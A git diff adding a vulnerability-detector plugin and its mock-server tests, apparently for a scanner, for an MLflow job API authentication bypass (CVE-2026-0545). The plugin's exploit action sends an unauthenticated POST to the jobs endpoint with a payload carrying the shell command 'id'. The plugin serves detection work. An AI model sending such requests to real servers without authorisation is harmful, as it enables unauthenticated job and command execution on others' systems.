diff --git a/templated/templateddetector/plugins/cve/2026/MLflow_CVE_2026_0545.textproto b/templated/templateddetector/plugins/cve/2026/MLflow_CVE_2026_0545.textproto new file mode 100644 index 000000000..811111bae --- /dev/null +++ b/templated/templateddetector/plugins/cve/2026/MLflow_CVE_2026_0545.textproto @@ -0,0 +1,91 @@ +# proto-file: proto/templated_plugin.proto +# proto-message: TemplatedPlugin + +############### +# PLUGIN INFO # +############### + +info: { + type: VULN_DETECTION + name: "MLflow_CVE_2026_0545" + author: "dyeddala" + version: "1.0" +} + +finding: { + main_id: { + publisher: "GOOGLE" + value: "CVE-2026-0545" + } + severity: CRITICAL + title: "MLflow Job API - Authentication Bypass" + description: "MLflow latest version contains an authentication bypass caused by unprotected FastAPI job endpoints under /ajax-api/3.0/jobs/* when basic-auth is enabled, letting unauthenticated network clients submit and manage jobs, exploit requires job execution enabled and allowlisted job functions." + recommendation: "Update to the latest version with fixed authentication enforcement on job endpoints." + related_id: { + publisher: "CVE" + value: "CVE-2026-0545" + } +} + +config: {} + +########### +# ACTIONS # +########### + +actions: { + name: "fingerprint_mlflow" + http_request: { + method: GET + uri: "/" + response: { + http_status: 401 + expect_any: { + conditions: [ + { body: {} contains: "mlflow" } + ] + } + } + } +} + +actions: { + name: "mlflow_job_api_bypass_exploit" + http_request: { + method: POST + uri: "/ajax-api/3.0/jobs/" + headers: [ + { + name: "Content-Type" + value: "application/json" + } + ] + data: "{\"job_name\":\"run_task\",\"params\":{\"command\":\"id\"}}" + response: { + http_status: 200 + expect_all: { + conditions: [ + { + body: {} + contains: "\"job_id\":" + }, + { + body: {} + contains: "\"job_name\":" + } + ] + } + } + } +} + +############# +# WORKFLOWS # +############# + +workflows: { + actions: [ + "fingerprint_mlflow", + "mlflow_job_api_bypass_exploit" + ] +} \ No newline at end of file diff --git a/templated/templateddetector/plugins/cve/2026/MLflow_CVE_2026_0545_test.textproto b/templated/templateddetector/plugins/cve/2026/MLflow_CVE_2026_0545_test.textproto new file mode 100644 index 000000000..9096b2f47 --- /dev/null +++ b/templated/templateddetector/plugins/cve/2026/MLflow_CVE_2026_0545_test.textproto @@ -0,0 +1,68 @@ +# proto-file: proto/templated_plugin_tests.proto +# proto-message: TemplatedPluginTests + +config: { + tested_plugin: "MLflow_CVE_2026_0545" +} + +######## +# TESTS # +######## + +tests: { + name: "whenVulnerable_returnsTrue" + expect_vulnerability: true + mock_http_server: { + mock_responses: [ + { + uri: "/" + status: 401 + body_content: "You are not authenticated. Please see https://www.mlflow.org/docs/latest/auth/index.html#authenticating-to-mlflow on how to authenticate." + }, + { + uri: "/ajax-api/3.0/jobs/" + status: 200 + headers: [ + { name: "Content-Type" value: "application/json" } + ] + body_content: "{\"job_id\":\"12345\",\"job_name\":\"run_task\",\"status\":\"RUNNING\"}" + } + ] + } +} + +tests: { + name: "whenNotVulnerable_returnsFalse" + expect_vulnerability: false + mock_http_server: { + mock_responses: [ + { + uri: "/" + status: 401 + body_content: "You are not authenticated. Please see https://www.mlflow.org/docs/latest/auth/index.html#authenticating-to-mlflow on how to authenticate." + }, + { + uri: "/ajax-api/3.0/jobs/" + status: 401 + headers: [ + { name: "Content-Type" value: "application/json" } + ] + body_content: "{\"error_code\":\"UNAUTHENTICATED\",\"message\":\"Authentication required\"}" + } + ] + } +} + +tests: { + name: "whenNotMlflow_returnsFalse" + expect_vulnerability: false + mock_http_server: { + mock_responses: [ + { + uri: "TSUNAMI_MAGIC_ANY_URI" + status: 200 + body_content: "Hello world" + } + ] + } +} \ No newline at end of file